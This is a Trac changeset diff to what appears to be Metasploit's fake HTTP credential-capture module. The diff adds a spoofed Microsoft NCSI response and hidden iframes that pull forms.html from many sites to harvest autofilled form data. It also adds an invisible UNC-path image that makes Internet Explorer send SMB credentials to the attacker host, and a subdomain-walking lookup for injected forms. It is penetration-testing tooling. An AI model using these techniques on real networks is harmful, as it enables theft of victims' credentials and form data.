Changeset 5553

Show
Ignore:
Timestamp:
07/14/08 00:36:21 (1 month ago)
Author:
hdm
Message:

Lots of little tweaks the fake HTTP service

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5546 r5553  
    218218                                "Host: #{hhead}\r\n" + 
    219219                                "Content-Type: text/html\r\n" + 
    220                                 "Content-Length: 0\r\n" + 
    221                                 "Connection: Close\r\n\r\n
     220                                "Content-Length: 4\r\n" + 
     221                                "Connection: Close\r\n\r\nBYE!
    222222                                 
    223223                        print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})") 
     
    247247                 
    248248                 
    249  
    250                  
     249                # http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt 
     250                if(req.resource == "/update/PatchSequenceFile.txt") 
     251                        print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft")                         
     252                end 
     253                 
     254                 
     255                # Microsoft 'Network Connectivity Status Indicator' Vista 
     256                if (req['Host'] == 'www.msftncsi.com:80') 
     257                        print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)") 
     258                        data = "Microsoft NCSI" 
     259                        res  =  
     260                                "HTTP/1.1 200 OK\r\n" + 
     261                                "Host: #{mysrc}\r\n" + 
     262                                "Expires: 0\r\n" + 
     263                                "Cache-Control: must-revalidate\r\n" + 
     264                                "Content-Type: text/html\r\n" + 
     265                                "Content-Length: #{data.length}\r\n" + 
     266                                "Connection: Close\r\n\r\n#{data}" 
     267                        cli.put(res) 
     268                        return                   
     269                end 
     270 
     271 
     272                # Sonic.com's Update Service 
     273                if (req['Host'] == 'updateservice.sonic.com:80') 
     274                        print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates") 
     275                end              
    251276                 
    252277                # The google maps / stocks view on the iPhone 
     
    306331                        site.strip! 
    307332                        next if site.length == 0 
    308                         buff << "<iframe src='http://#{site}:#{@myport}/forms.html'></iframe>" 
     333                        buff << "<iframe src='http://www.#{site}:#{@myport}/forms.html'></iframe>" 
    309334                end 
    310335 
    311336                if(ua_name == "IE") 
    312                         buff << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>" 
     337                        buff << "<img src='\\\\\\\\#{mysrc}\\\\public#{Time.now.to_i.to_s}\\\\loading.jpg' width='1' height='1'>" 
    313338                end 
    314339                 
     
    333358        def inject_forms(site) 
    334359 
    335                 form_file = File.join(@formsdir, site.gsub(/(\.\.|\\|\/)/, "") + ".txt") 
    336                 form_data = "" 
    337                 if (File.readable?(form_file)) 
    338                         form_data = File.read(form_file) 
     360                domain = site.gsub(/(\.\.|\\|\/)/, "") 
     361                domain = "www." + domain if domain !~ /^www/i 
     362                 
     363                while(domain.length > 0) 
     364 
     365                        form_file = File.join(@formsdir, domain) + ".txt" 
     366                        form_data = "" 
     367                        if (File.readable?(form_file)) 
     368                                form_data = File.read(form_file) 
     369                                break 
     370                        end 
     371                         
     372                        parts = domain.split(".") 
     373                        parts.shift 
     374                        domain = parts.join(".") 
    339375                end 
    340376